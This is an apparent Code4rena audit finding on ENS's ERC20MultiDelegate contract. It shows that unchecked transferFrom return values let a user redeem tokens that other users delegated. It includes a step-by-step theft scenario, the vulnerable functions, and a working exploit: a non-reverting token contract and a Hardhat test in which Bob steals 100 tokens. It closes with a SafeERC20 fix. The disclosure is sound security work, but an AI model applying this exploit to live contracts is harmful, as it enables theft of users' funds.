ENS - squeaky_cactus's results

Lines of code

https://github.com/code-423n4/2023-10-ens/blob/ed25379c06e42c8218eb1e80e141412496950685/contracts/ERC20MultiDelegate.sol#L148 https://github.com/code-423n4/2023-10-ens/blob/ed25379c06e42c8218eb1e80e141412496950685/contracts/ERC20MultiDelegate.sol#L160 https://github.com/code-423n4/2023-10-ens/blob/ed25379c06e42c8218eb1e80e141412496950685/contracts/ERC20MultiDelegate.sol#L170

Vulnerability details

Impact

Given the expectation that any token adhering to the ERC20 standard can be wrapped with ERC20Votes and should be usable with ERC20MultiDelegate, not check the return value from token transfers will enable theft of delegated tokens for implementations that choose to use the return value rather than throwing.

Description

EIP-20

Ethereum Improvement Proposal 20

transferFrom

Transfers _value amount of tokens from address _from to address _to, and MUST fire the Transfer event.

The transferFrom method is used for a withdraw workflow, allowing contracts to transfer tokens on your behalf. This can be used for example to allow a contract to transfer tokens on your behalf and/or to charge fees in sub-currencies. The function SHOULD throw unless the _from account has deliberately authorized the sender of the message via some mechanism.

Note Transfers of 0 values MUST be treated as normal transfers and fire the Transfer event.

There is no requirement stated that an implementation MUST throw in all failure conditions, a valid implementation would be valid if a boolean of false is returned rather than throwing.

One proxy per a delegate

ERC20MultiDelegate will have at most one ERC20ProxyDelegator for each delegate, created on the first delegation. All msg.sender's delegating to that one delegate will all have their tokens (delegation amount) transferred to that single proxy.

Delegate without transferring tokens

If a ERC20 implementation that returned false of balance check failure was wrapped by the OZ ERC20Votes, then the tokens would not be transferred to the proxy, however the ERC20MultiDelegate would still mint the ERC1155 tokens for the msg.sender.

Taking other users tokens

When a msg.sender holds ERC1155 tokens for a delegate, they can redeem ERC20Votes tokens when the proxy has them to transfer.

Given two senders Alice (100 tokens) and Bob (0 tokens) with one delegate Charlie and a underlying ERC20 that returns false on balance check failure:

• Alice balance: 100 tokens, delegates 100 tokens to Charlie.
• ERC20MultiDelegate creates ERC20ProxyDelegator for Charlie
  • 100 tokens transferred from Alice to the Charlie proxy.
  • ERC20MultiDelegate._balances[charlie][alice] = 100.
  • Charlie proxy balance: 100 tokens (increased).
  • Alice balance: 0 tokens (decreased).
• Bob balance: 0 tokens, delegate 100 tokens to Charlie.
• ERC20MultiDelegate checks proxy and it exists
  • 100 tokens transferred from Bob to the Charlie proxy (balance check failing, transferFrom returns false, but it is not checked).
  • ERC20MultiDelegate._balances[charlie][bob] = 100
  • Charlie proxy balance 100 tokens (unchanged).
  • Bob balance 0 tokens (unchanged).
• Bob undelegates 100 tokens from Charlie (redemption).
  • ERC20MultiDelegate checks ERC20ProxyDelegator for Charlie
  • sufficient balance, 100 tokens transferred from Charlie proxy to Bob.
  • proxy balance 0 tokens (decreased).
  • Bob balance 100 tokens (increased).

Bob has successfully stolen 100 tokens at the expense of Alice.

Instances

3 instances of ERC20Votes.transferFrom being used without the return value being used, are the only time tokens are transferred in ERC20MultiDelegate.

1. Returning tokens from the proxy to the sender. https://github.com/code-423n4/2023-10-ens/blob/ed25379c06e42c8218eb1e80e141412496950685/contracts/ERC20MultiDelegate.sol#L144-L149

    function _reimburse(address source, uint256 amount) internal {
        // Transfer the remaining source amount or the full source amount
        // (if no remaining amount) to the delegator
        address proxyAddressFrom = retrieveProxyContractAddress(token, source);
        token.transferFrom(proxyAddressFrom, msg.sender, amount);
    }

2. Sending tokens to the proxy from the sender. https://github.com/code-423n4/2023-10-ens/blob/ed25379c06e42c8218eb1e80e141412496950685/contracts/ERC20MultiDelegate.sol#L155-L161

    function createProxyDelegatorAndTransfer(
        address target,
        uint256 amount
    ) internal {
        address proxyAddress = deployProxyDelegatorIfNeeded(target);
        token.transferFrom(msg.sender, proxyAddress, amount);
    }

3. Moving tokens between proxies https://github.com/code-423n4/2023-10-ens/blob/ed25379c06e42c8218eb1e80e141412496950685/contracts/ERC20MultiDelegate.sol#L163-L171

   function transferBetweenDelegators(
        address from,
        address to,
        uint256 amount
    ) internal {
        address proxyAddressFrom = retrieveProxyContractAddress(token, from);
        address proxyAddressTo = retrieveProxyContractAddress(token, to);
        token.transferFrom(proxyAddressFrom, proxyAddressTo, amount);
    }

Proof of Concept

Exploit scenario example, using a token that does not revert and a new JavaScript test.

1. Place the NoRevertToken into ./contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;

import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol";

/**
 * @dev Overriding ERC20Votes instead using a full IVotes implementation for a quickness / brevity.
 */
contract NoRevertToken is ERC20Votes {
    constructor(
        uint256 initialSupply
    )
    ERC20("No Revert Token", "NRT")
    ERC20Permit("No Revert Token")
    {
        _mint(msg.sender, initialSupply);
    }

    function transferFrom(address from, address to, uint amount)  public virtual override returns (bool) {
        address spender = _msgSender();

        // Insufficient src balance
        if (balanceOf(from) < amount) return false;                        

        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }
}

2. Add the following describe and it into `delegatemulti.js'

  describe('no revert token', () => {
    it('can steal tokens from a delegate proxy', async () => {
      // Deploy the NoRevertToken
      const NoRevertTokenFactory = await ethers.getContractFactory(
          'NoRevertToken'
      );
      const noRevertToken = await NoRevertTokenFactory.deploy(1000)
      await noRevertToken.deployed()

      // Deploy ERC20MultiDelegate using the NoRevertToken
      const ENSMultiDelegate = await ethers.getContractFactory(
          'ERC20MultiDelegate'
      );
      const noRevertTokenMultiDelegate = await ENSMultiDelegate.deploy(
          noRevertToken.address,
          'http://localhost:8080/{id}'
      );
      await noRevertTokenMultiDelegate.deployed()

      // Setup Alice with 100 tokens
      await noRevertToken.transfer(alice, 100)

      // Approvals
      const [_, aliceSigner, bobSigner] = await ethers.getSigners();
      await noRevertToken.connect(aliceSigner).approve(noRevertTokenMultiDelegate.address, ethers.constants.MaxUint256)
      await noRevertToken.connect(bobSigner).approve(noRevertTokenMultiDelegate.address, ethers.constants.MaxUint256)

      // Initial state, Alice: 100, Bob 0
      expect(await noRevertToken.balanceOf(alice)).to.equal(100)
      expect(await noRevertToken.balanceOf(bob)).to.equal(0)

      // Alice and Bob both delegate to Charlie
      await noRevertTokenMultiDelegate.connect(aliceSigner).delegateMulti([],[charlie],[100])
      await noRevertTokenMultiDelegate.connect(bobSigner).delegateMulti([],[charlie],[100])

      // Charlie Proxy has the 100 tokens, Alice and Bob have nothing
      expect(await noRevertToken.getVotes(charlie)).to.equal(100)
      expect(await noRevertToken.balanceOf(alice)).to.equal(0)
      expect(await noRevertToken.balanceOf(bob)).to.equal(0)

      // Bob redeems delegation first, then Alice
      await noRevertTokenMultiDelegate.connect(bobSigner).delegateMulti([charlie],[],[100])
      await noRevertTokenMultiDelegate.connect(aliceSigner).delegateMulti([charlie],[],[100])

      // Bob has stolen the tokens, at the expense of Alice
      expect(await noRevertToken.balanceOf(bob)).to.equal(100)
      expect(await noRevertToken.balanceOf(alice)).to.equal(0)
    })
  })

3. Run the test yarn test test/delegatemulti.js, which will pass demonstrating Bob stealing 100 tokens.

Tools Used

Manual review

Recommended Mitigation Steps

Check the success boolean of all transferFrom() calls. Alternatively, use OZ’s SafeERC20’s safeTransferFrom() function.

Assessed type

ERC20